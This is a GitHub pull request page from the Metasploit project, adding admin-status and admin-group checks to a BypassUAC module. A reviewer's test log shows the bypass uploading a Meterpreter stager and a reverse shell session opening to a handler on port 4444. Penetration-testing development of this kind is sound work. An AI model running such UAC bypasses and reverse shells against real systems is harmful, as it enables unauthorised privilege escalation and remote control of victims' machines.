Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Already on GitHub? Sign in to your account

add admin already and admin group checks #1067

Merged
merged 2 commits into from Nov 16, 2012

Conversation

Projects
None yet
2 participants
Contributor

mubix commented Nov 15, 2012

adds check to see if already in admin mode
as well as checking to see if the user is in the local admins group in order to bypass UAC

Contributor

wchen-r7 commented Nov 16, 2012

Review in progress....

Contributor

wchen-r7 commented Nov 16, 2012

tested:

[*] Started reverse handler on 10.0.1.3:4444 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (752128 bytes) to 10.0.1.10
[*] Meterpreter session 5 opened (10.0.1.3:4444 -> 10.0.1.10:49181) at 2012-11-16 11:50:02 -0600

@wchen-r7 wchen-r7 merged commit e18acf2 into rapid7:master Nov 16, 2012

1 check passed

default The Travis build passed
Details

@mubix mubix deleted the mubix:bypassuac_admincheck branch Dec 22, 2012

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment